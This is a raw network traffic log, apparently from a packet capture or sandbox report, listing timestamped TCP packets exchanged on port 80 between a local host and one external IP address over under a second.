Jul 3, 2024 23:59:07.314858913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.314867973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.314867973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.314879894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.314889908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.314898968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.314901114 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.314910889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.314917088 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.314920902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.314929962 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.314933062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.314944983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.314954996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.314958096 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.314966917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.314977884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.314985991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.314989090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.314994097 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.315001011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.315025091 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.315047979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.315552950 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.315565109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.315576077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.315602064 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.315627098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.315716982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.315728903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.315737963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.315747976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.315757036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.315757990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.315768003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.315778017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.315785885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.315797091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.315807104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.315807104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.315819025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.315825939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.315830946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.315843105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.315845013 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.315853119 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.315864086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.315864086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.315875053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.315890074 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.315891981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.315903902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.315915108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.315922976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.315927982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.315933943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.315944910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.315967083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.315985918 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.316524982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.316538095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.316546917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.316559076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.316569090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.316572905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.316602945 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.394629955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.394665003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.394675016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.394716024 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.394731045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.394738913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.394745111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.394772053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.394795895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.394809961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.394820929 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.394830942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.394851923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.394875050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.394876003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.394903898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.394916058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.394920111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.394942045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.394953012 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.395010948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.395020962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.395051003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.395145893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.395157099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.395167112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.395176888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.395188093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.395190001 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.395199060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.395204067 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.395211935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.395231009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.395240068 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.395344973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.395390034 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.395493031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.395504951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.395514965 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.395529032 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.395530939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.395540953 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.395551920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.395551920 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.395560026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.395564079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.395565987 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.395576000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.395596981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.395618916 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.395705938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.395744085 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.395792007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.395802975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.395812035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.395828009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.395833015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.395839930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.395850897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.395854950 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.395862103 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.395872116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.395879030 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.395884037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.395894051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.395903111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.395908117 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.395922899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.395935059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.396332979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.396343946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.396353960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.396364927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.396373987 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.396374941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.396388054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.396399021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.396404028 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.396409988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.396424055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.396426916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.396437883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.396441936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.396450043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.396460056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.396466017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.396495104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.396677971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.396717072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.396871090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.396883011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.396893024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.396903992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.396910906 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.396915913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.396925926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.396927118 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.396935940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.396943092 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.396950006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.396962881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.396967888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.396974087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.396981001 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.396986008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.396998882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.397007942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.397010088 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.397020102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.397036076 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.397053003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.397073984 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.397326946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.397339106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.397349119 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.397355080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.397365093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.397377014 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.397408009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.397430897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.397464991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.397475004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.397485971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.397502899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.397512913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.397536993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.397609949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.397620916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.397636890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.397646904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.397651911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.397658110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.397669077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.397675037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.397680998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.397691965 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.397701025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.397701979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.397712946 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.397715092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.397726059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.397728920 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.397756100 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.397784948 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.398099899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.398112059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.398122072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.398133039 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.398143053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.398144960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.398166895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.398168087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.398192883 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.398215055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.405333042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.405344009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.405356884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.405410051 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.405441046 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.405451059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.405462980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.405472994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.405483961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.405493975 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.405519009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.405543089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.405694008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.405704975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.405714989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.405725956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.405735016 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.405736923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.405745983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.405750036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.405761003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.405771017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.405780077 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.405781984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.405786037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.405818939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.405981064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.405999899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.406014919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.406023026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.406028986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.406042099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.406056881 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.406056881 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.406090975 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.488759995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.488789082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.488794088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.488801956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.488807917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.488967896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.488979101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.488986969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.488990068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.489002943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.489015102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.489042997 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.489057064 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.489079952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.489118099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.489180088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.489191055 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.489202023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.489212990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.489228010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.489259958 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.489332914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.489346027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.489356041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.489366055 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.489376068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.489382982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.489387989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.489408970 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.489429951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.489515066 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.489526987 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.489564896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.489685059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.489701033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.489711046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.489722013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.489732027 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.489732981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.489744902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.489756107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.489763975 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.489767075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.489779949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.489801884 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.489823103 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.490000963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.490011930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.490021944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.490045071 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.490056992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.490123034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.490135908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.490145922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.490155935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.490164042 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.490168095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.490178108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.490179062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.490190029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.490192890 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.490202904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.490231037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.490250111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.490432978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.490477085 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.490506887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.490518093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.490528107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.490537882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.490547895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.490547895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.490576982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.490596056 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.490767002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.490777016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.490787029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.490797997 CEST	80	49730	85.28.47.4	192.168.2.4
